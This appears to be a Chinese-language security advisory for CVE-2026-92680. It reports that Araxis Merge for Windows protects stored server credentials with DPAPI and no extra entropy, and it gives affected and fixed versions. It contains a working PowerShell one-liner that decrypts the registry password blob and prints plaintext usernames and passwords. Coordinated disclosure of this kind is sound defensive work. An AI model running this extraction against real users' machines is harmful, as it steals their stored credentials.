Araxis Merge for Windows 使用 DPAPI 存储服务器凭据,并将 pOptionalEntropy 设置为 NULL。这使得在同一用户上下文中运行的任何代码都可以解密这些凭据。
完整报告:https://grepstrength.com/research/araxis-merge
| CVE | CVE-2026-92680 |
| CWE | CWE-522: Insufficiently Protected Credentials |
| CVSS v3.1 | 5.5 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) |
| 厂商 | Araxis Ltd. |
| 受影响版本 | Araxis Merge for Windows 2011.4074 至 2026.0 |
| 修复版本 | 2026.1 |
| 厂商公告 | Merge-SA-26-00 |
| 报告日期 | 2026-08-18 |
| 披露日期 | 2026-XX-XX |
| 报告者 | grepStrength |
这将解密并解析 HKCU\Software\Araxis\Merge\7.1\Passwords。必须以最初存储凭据的同一 Windows 用户身份运行。
Add-Type -AssemblyName System.Security; $p=[Security.Cryptography.ProtectedData]::Unprotect((Get-ItemProperty "HKCU:\Software\Araxis\Merge\7.1").Passwords,$null,'CurrentUser'); $i=48; $f=@(); while($i -lt $p.Length){$l=[BitConverter]::ToInt64($p,$i+8);$i+=16;$f+=[Text.Encoding]::Unicode.GetString($p,$i,$l*2);$i+=$l*2}; 0..($f.Count/4-1)|%{[PSCustomObject]@{Server=$f[$_*4+1];Username=$f[$_*4+2];Password=$f[$_*4+3]}}|Format-Table -AutoSize
所有测试均在 grepStength Security 拥有的系统上使用合成凭据进行。此问题已报告给 Araxis Ltd.,并在修复程序发布后公开披露。
MIT